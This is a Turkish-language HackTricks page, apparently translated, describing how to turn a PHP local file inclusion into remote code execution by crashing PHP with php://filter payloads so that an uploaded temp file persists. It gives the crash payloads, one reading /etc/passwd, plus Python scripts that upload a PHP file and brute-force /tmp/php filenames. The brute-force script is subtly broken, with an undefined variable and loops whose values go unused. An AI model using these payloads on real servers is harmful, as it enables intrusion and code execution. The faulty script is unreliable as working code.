4.4 KiB
LFI2RCE via Segmentasyon Hatası
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (ikinci bölüm) ve https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view yazılarına göre, aşağıdaki payloadlar PHP'de bir segmentasyon hatasına neden olmuştur:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
Bilmelisiniz ki, bir dosya içeren bir POST isteği gönderirseniz, PHP bu dosyanın içeriğiyle birlikte /tmp/php<birşey>
dizininde geçici bir dosya oluşturur. Bu dosya istek işlendikten sonra otomatik olarak silinir.
Bir LFI bulursanız ve PHP'de bir segmentasyon hatası tetiklemeyi başarırsanız, geçici dosya asla silinmez. Bu nedenle, LFI zafiyetiyle bu dosyayı bulabilir ve keyfi kodu çalıştırabilirsiniz.
Test için https://hub.docker.com/r/easyengine/php7.0 docker imajını kullanabilirsiniz.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.